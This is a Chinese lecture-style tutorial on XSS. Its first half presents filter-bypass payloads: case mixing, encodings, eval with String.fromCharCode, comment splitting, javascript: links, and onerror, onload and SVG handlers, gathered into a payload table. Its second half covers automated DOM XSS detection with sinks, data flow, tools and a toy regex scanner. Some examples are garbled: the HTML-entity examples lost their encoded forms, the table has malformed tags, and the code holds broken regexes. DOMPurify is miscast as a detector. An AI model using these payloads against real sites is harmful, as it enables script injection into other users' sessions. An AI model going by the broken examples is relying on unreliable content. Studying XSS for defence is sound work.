XSS (跨站脚本) 攻击中，如何构建一个能绕过常见过滤器的复杂 Payload？探讨 DOM XSS 的自动识别方法。

嘿，大家好！我是今天的主讲人，咱们今天来聊聊XSS这个老生常谈但又总是能搞出新花样的话题。别看它名字听起来像某种不明飞行物，实际上它可是网络安全领域里一个让人头疼的家伙。

今天咱们重点解决两个问题：

1. 如何构建一个能绕过常见过滤器的复杂 XSS Payload？ 别怕，我会教你们一些“歪门邪道”，让你们的Payload更具欺骗性，成功绕过那些自以为是的过滤器。
2. 如何自动识别 DOM XSS？ 别再傻傻地盯着代码一行一行地看了，我会教你们一些自动化工具和技巧，让你们像福尔摩斯一样快速找出DOM XSS的蛛丝马迹。

准备好了吗？咱们这就开始！

第一部分：XSS Payload 的“变形记”

首先，我们要明白，XSS过滤器就像警察，他们会检查你提交的数据，看看里面有没有什么“可疑分子”（比如<script>标签）。如果发现了，他们就会毫不留情地把“可疑分子”干掉。

所以，我们的目标就是：让警察认不出我们的“可疑分子”！

下面是一些常用的“变形”技巧：

1. 大小写混合：

最简单的办法，就是改变一下标签的大小写。

<ScRipT>alert("XSS");</ScRipT>

很多过滤器只检查小写或大写的<script>，忽略了大小写混合的情况。

2. 利用 HTML 编码：

我们可以使用 HTML 编码来表示特殊字符。比如：

• < 可以表示为 <
• > 可以表示为 >

<script>alert("XSS");</script>

当然，更厉害的是十进制和十六进制编码：

• < 可以表示为 < (十进制) 或 < (十六进制)

<script>alert("XSS");</script>

3. 利用 JavaScript 字符串编码：

在 JavaScript 中，我们可以使用 String.fromCharCode() 函数将字符编码转换为字符。

<script>
  eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41));
</script>

这段代码等价于 alert("XSS");，但看起来更像一堆乱码。

4. 利用注释：

可以在标签内部插入注释，扰乱过滤器的判断。

<scri<!-- -->pt>alert("XSS");</scri<!-- -->pt>

5. 利用空格和换行符：

在标签内部插入空格和换行符，也能起到混淆的作用。

<script
>alert("XSS");</script
>

6. 利用 JavaScript伪协议：

javascript: 伪协议允许我们在链接中执行 JavaScript 代码。

<a href="javascript:alert('XSS')">Click me</a>

7. 利用其他 HTML 标签的属性：

很多 HTML 标签的属性都支持 JavaScript 代码。比如：

• <img> 标签的 onerror 属性
• <input> 标签的 onfocus 属性

<img src="x" onerror="alert('XSS')">
<input type="text" onfocus="alert('XSS')" autofocus>

8. 利用 SVG 标签：

SVG 标签也支持 JavaScript 代码。

<svg onload="alert('XSS')"></svg>

9. 利用 data URI：

Data URI 允许我们将数据直接嵌入到 HTML 代码中。

<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUycpPg==">

这段代码将一个包含 JavaScript 代码的 SVG 图片嵌入到 <img> 标签中。

Payload 构建实战：一个更复杂的例子

现在，让我们来构建一个更复杂的 Payload，将以上技巧结合起来：

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

这个 Payload 结合了以下技巧：

• 利用 <img> 标签的 onerror 属性
• 利用 String.fromCharCode() 函数将 JavaScript 代码编码
• eval函数执行字符串

Payload 构建的原则：

• 保持简洁： Payload 越简洁，越不容易被发现。
• 灵活应变： 不同的环境需要不同的 Payload。
• 不断尝试： 不要害怕失败，多尝试才能找到突破口。

Payload 绕过案例分析

绕过技巧	描述	示例代码
大小写混合	改变标签的大小写，绕过对特定大小写标签的过滤。	<ScRipT>alert("XSS");</ScRipT>
HTML 编码	使用 HTML 编码表示特殊字符，绕过对特殊字符的过滤。	&lt;script&gt;alert("XSS");&lt;/script&gt;
JavaScript 字符串编码	使用 String.fromCharCode() 函数将 JavaScript 代码编码，绕过对 JavaScript 代码的过滤。	<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41));</script>
注释	在标签内部插入注释，扰乱过滤器的判断。	<scri<!-- -->pt>alert("XSS");</scri<!-- -->pt>
空格和换行符	在标签内部插入空格和换行符，起到混淆的作用。	<scriptn>alert("XSS");</script >
JavaScript伪协议	使用 javascript: 伪协议在链接中执行 JavaScript 代码。	<a href="javascript:alert('XSS')">Click me</a>
HTML 标签属性	利用 <img> 标签的 onerror 属性或 <input> 标签的 onfocus 属性等，执行 JavaScript 代码。	<img src="x" onerror="alert('XSS')"> 或 <input type="text" onfocus="alert('XSS')" autofocus>
SVG 标签	使用 SVG 标签执行 JavaScript 代码。	<svg onload="alert('XSS')"></svg>
data URI	使用 data URI 将数据直接嵌入到 HTML 代码中，例如嵌入包含 JavaScript 代码的 SVG 图片。	<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUycpPg==">
结合多种技巧	将以上技巧结合起来，构建更复杂的 Payload，增加绕过过滤器的概率。	<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

第二部分：DOM XSS 的自动识别

DOM XSS 是一种特殊的 XSS 攻击，它不是服务器端漏洞，而是客户端 JavaScript 代码的漏洞。它利用 JavaScript 代码动态地将恶意数据插入到 DOM (Document Object Model) 中，从而导致 XSS 攻击。

DOM XSS 的特点：

• 发生在客户端： 所有的操作都在浏览器中完成，服务器不参与。
• 利用 JavaScript： 通过 JavaScript 代码修改 DOM 结构。
• 难以检测： 传统的 XSS 检测方法很难发现 DOM XSS。

如何自动识别 DOM XSS？

1. 静态分析：

静态分析是指在不运行代码的情况下，分析 JavaScript 代码，找出潜在的 DOM XSS 漏洞。

• 寻找危险函数：

一些 JavaScript 函数被称为“危险函数”，因为它们可以用来修改 DOM 结构，从而导致 DOM XSS 攻击。常见的危险函数包括：

*   `eval()`
*   `innerHTML`
*   `outerHTML`
*   `document.write()`
*   `document.location`
*   `$.html()` (jQuery)
*   `$.append()` (jQuery)
*   `$.prepend()` (jQuery)

• 跟踪数据流：

跟踪用户输入的数据流，看看是否会经过危险函数，最终被插入到 DOM 中。

示例代码：

// 获取 URL 中的参数
function getParameterByName(name) {
  name = name.replace(/[[]/, "\[").replace(/[]]/, "\]");
  var regex = new RegExp("[\?&]" + name + "=([^&#]*)"),
    results = regex.exec(location.search);
  return results === null ? "" : decodeURIComponent(results[1].replace(/+/g, " "));
}

// 获取参数 "name" 的值
var name = getParameterByName('name');

// 将参数的值插入到 DOM 中
document.getElementById('greeting').innerHTML = 'Hello, ' + name; // 潜在的 DOM XSS 漏洞

在这个例子中，getParameterByName() 函数从 URL 中获取参数 name 的值，然后将其插入到 id 为 greeting 的元素的 innerHTML 属性中。如果用户在 URL 中传递了恶意代码，比如 <script>alert("XSS")</script>，那么这段代码就会被执行，导致 DOM XSS 攻击。

2. 动态分析：

动态分析是指在运行代码的情况下，监控 JavaScript 代码的行为，找出潜在的 DOM XSS 漏洞。

• 使用浏览器开发者工具：

浏览器开发者工具可以用来监控 JavaScript 代码的执行过程，查看 DOM 结构的变化。

• 使用 XSS 检测工具：

一些 XSS 检测工具可以自动地检测 DOM XSS 漏洞。

*   **DOMPurify：** 一个用于清理 HTML 代码的 JavaScript 库，可以防止 XSS 攻击。
*   **OWASP ZAP：** 一个开源的 Web 应用安全扫描器，可以检测多种安全漏洞，包括 DOM XSS。
*   **Burp Suite：** 一个商业的 Web 应用安全测试工具，功能强大，可以检测多种安全漏洞，包括 DOM XSS。

3. 结合静态分析和动态分析：

将静态分析和动态分析结合起来，可以更有效地识别 DOM XSS 漏洞。

• 先使用静态分析找出潜在的漏洞点，然后使用动态分析验证这些漏洞点。

工具代码示例（简化版，仅供演示）：

以下代码展示了一个简化的 DOM XSS 检测工具，它使用静态分析来查找潜在的漏洞点。

function detectDOMXSS(code) {
  const dangerousFunctions = ['eval', 'innerHTML', 'outerHTML', 'document.write', 'document.location'];
  const regex = new RegExp(dangerousFunctions.join('|'));

  if (regex.test(code)) {
    console.warn('Potential DOM XSS vulnerability detected!');
    console.warn('Code snippet:', code);
  } else {
    console.log('No potential DOM XSS vulnerability detected.');
  }
}

// 示例代码
const code1 = `document.getElementById('greeting').innerHTML = 'Hello, ' + name;`;
const code2 = `const element = document.createElement('div'); element.innerHTML = userInput;`;
const code3 = `console.log('This is safe code.');`;

// 检测代码
detectDOMXSS(code1); // Potential DOM XSS vulnerability detected!
detectDOMXSS(code2); // Potential DOM XSS vulnerability detected!
detectDOMXSS(code3); // No potential DOM XSS vulnerability detected.

表格总结：DOM XSS 自动识别方法

方法	描述	优点	缺点
静态分析	在不运行代码的情况下，分析 JavaScript 代码，找出潜在的 DOM XSS 漏洞。	快速，可以发现潜在的漏洞点。	可能产生误报，无法验证漏洞是否真的存在。
动态分析	在运行代码的情况下，监控 JavaScript 代码的行为，找出潜在的 DOM XSS 漏洞。	可以验证漏洞是否真的存在，减少误报。	耗时，需要人工干预，可能无法覆盖所有代码路径。
结合静态和动态分析	先使用静态分析找出潜在的漏洞点，然后使用动态分析验证这些漏洞点。	可以更有效地识别 DOM XSS 漏洞，减少误报，提高效率。	仍然需要人工干预，需要一定的技术水平。
工具	使用专门的 XSS 检测工具，自动检测 DOM XSS 漏洞。例如 DOMPurify, OWASP ZAP, Burp Suite.	自动化程度高，可以快速发现漏洞，减少人工干预。	需要一定的学习成本，可能无法覆盖所有类型的 DOM XSS 漏洞。

总结：

XSS 攻击是一个复杂的问题，需要我们不断地学习和研究新的技术。通过掌握 Payload 的构建技巧和 DOM XSS 的自动识别方法，我们可以更好地保护我们的 Web 应用安全。

记住，安全是一个持续不断的过程，而不是一个一劳永逸的目标。我们需要时刻保持警惕，不断地学习和更新我们的知识，才能应对日益复杂的安全威胁。

希望今天的讲座对大家有所帮助！谢谢大家！

免责声明： 本文提供的技术信息仅供学习和研究目的，请勿用于非法用途。